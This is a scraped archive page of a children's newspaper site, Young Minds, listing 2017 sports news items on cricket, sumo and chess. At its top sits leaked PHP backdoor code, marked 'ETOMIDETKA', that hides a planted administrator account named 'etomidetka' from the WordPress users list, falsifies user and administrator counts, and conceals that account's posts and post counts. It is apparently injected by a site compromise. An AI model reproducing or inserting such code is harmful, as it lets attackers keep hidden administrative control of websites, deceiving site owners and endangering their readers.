//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Sports | YOUNG MINDS | Page 17

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Sports (Page 17)
Life ban imposed on Sreesanth to stay

Life ban imposed on Sreesanth to stay

Pacer S Sreesanth has received a letter from the BCCI, which stated that the board is very particular in ensuring that discipline is maintained and reiterated …

April 19, 2017 | Sports
Chris Gayle first player to score 10,000 runs in T20 cricket

Chris Gayle first player to score 10,000 runs in T20 cricket

Royal Challengers Bangalore cricketer Chris Gayle has become the first player to score 10,000 runs in T20 cricket after reaching the landmark against Gujarat …

April 19, 2017 | Sports
Steve Smith replaces MS Dhoni as captain of Rising Pune Supergiants

Steve Smith replaces MS Dhoni as captain of Rising Pune Supergiants

MS Dhoni has been removed as captain of Rising Pune Supergiants for IPL 2017, with Australian Test skipper Steve Smith set to replace him. Dhoni was bought for …

February 20, 2017 | Sports
Afridi announces retirement from international cricket

Afridi announces retirement from international cricket

Former Pakistan captain Shahid Afridi has announced his retirement from T20 internationals, thereby ending his 21-year long international career. Afridi burst …

February 20, 2017 | Sports
Kohli equals record for most Test 150s by an Indian captain

Kohli equals record for most Test 150s by an Indian captain

Virat Kohli has recorded his sixth Test 150, his fifth as captain, against Bangladesh at Hyderabad on 10th Feb, to equal the record for most 150-plus scores by …

February 10, 2017 | Sports
Japan gets first sumo champion in 19 years

Japan gets first sumo champion in 19 years

Japan has named its first home-grown sumo grand champion in almost two decades, in a boost to the traditional wrestling sport. Kisenosato, 30, was promoted to …

January 25, 2017 | Sports
1st time int’l cricket is being played in 5 countries today

1st time int’l cricket is being played in 5 countries today

International cricket was being played across five countries on 22nd Jan., making it the first such instance in history. Two ODIs were being played in India …

January 23, 2017 | Sports
India starts building the world’s biggest stadium

India starts building the world’s biggest stadium

India has started building the world’s biggest cricket stadium that will accommodate 110,000 spectators and cost around $100 million. Since the capacity …

January 18, 2017 | Sports
Kohli has scored hundreds in all of India’s 350+ run chases

Kohli has scored hundreds in all of India’s 350+ run chases

With his century against England in the first ODI, Indian captain Virat Kohli has now scored centuries in all three of India’s 350+ run chases. Kohli …

January 17, 2017 | Sports
7-year-old Kush creates history in Youth Chess Championship

7-year-old Kush creates history in Youth Chess Championship

Seven-year-old Kush Bhagat has created history after winning three gold medals in the 1st Western Asia Youth Chess Championship in Al Ain Chess Club in UAE. …

January 3, 2017 | Sports
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds